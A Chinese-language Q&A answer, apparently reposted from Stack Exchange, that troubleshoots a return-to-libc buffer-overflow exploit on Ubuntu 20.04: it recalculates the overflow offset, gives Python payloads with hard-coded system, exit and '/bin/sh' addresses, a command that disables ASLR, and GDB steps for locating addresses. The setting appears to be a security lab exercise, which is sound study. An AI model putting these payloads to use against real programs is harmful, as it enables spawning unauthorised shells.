You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Return to Libc攻击遇异常错误求助:Ubuntu 20.04缓冲区溢出问题

解决Return to Libc溢出攻击的段错误问题

1. 修正缓冲区偏移量计算

目标程序的is_virus函数会将所有argv参数(从argv[1]开始)拼接进64字节的traffic缓冲区。你当前的测试命令是r 10 python...``,这意味着argv[1] = "10"(占2字节),argv[2]是你生成的payload。初始traffic为空串,拼接后总长度是2 + len(payload),这会直接影响溢出偏移:

  • 原测试的74个A是在不传入"10"的情况下得到的,但现在多了2字节的前缀,所以实际需要的填充字符数应该是74 - 2 = 72(或重新精确测试)。
  • 建议重新测试偏移:传入r 10 python -c 'import sys; sys.stdout.write("A"*N)'`,逐步增加N直到返回地址被覆盖(用GDB观察EIP值确认)。

2. 避免strcat提前触发崩溃

strcat会读取源字符串直到遇到\0,但Python的print默认会在输出末尾添加换行符\n,这会导致payload多一个字节,甚至让strcat读取到非法内存。改用sys.stdout.write输出无额外字符的payload:

python -c 'import sys; sys.stdout.write("A"*72 + "\x7c\xd9\x05\x40" + "\xdc\x9c\x04\x40" + "\x0F\xfc\xff\xbf")'

3. 关闭ASLR确保地址稳定

Ubuntu 20.04默认开启地址空间随机化(ASLR),会导致每次运行程序时libc和栈地址变化。在终端执行以下命令关闭ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

关闭后,GDB中获取的system、exit和/bin/sh地址在实际运行时才会一致。

4. 重新确认/bin/sh的地址

通过环境变量找/bin/sh地址时,要在程序运行的同一环境中获取。在GDB中运行程序后,用x/100s $environ查找(环境变量在栈高位区域更稳定);或者直接计算libc内的固定偏移:

p &system
p &"//bin/sh"  # 双斜杠避免转义
# 偏移计算:sh_addr = system_addr + (sh_offset - system_offset)

5. 调整payload的栈布局

x86架构下Return to Libc的正确栈布局是:

  • 填充字符:覆盖缓冲区到返回地址的位置
  • 函数地址:system的地址(覆盖原返回地址)
  • 返回地址:exit的地址(system执行完后调用exit,避免崩溃)
  • 函数参数:/bin/sh的地址(system的第一个参数)
    确保偏移量刚好让system地址覆盖EIP,否则会在strcat阶段就破坏栈结构,触发段错误。

6. 测试简化payload

先构造只覆盖返回地址的payload,确认偏移正确:

r 10 `python -c 'import sys; sys.stdout.write("A"*N + "\x7c\xd9\x05\x40")'`

如果运行后EIP等于0x4005d97c(system的地址),说明偏移正确,再添加exit地址和/bin/sh地址。

内容的提问来源于stack exchange,提问作者Aaron

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.24 08:45:14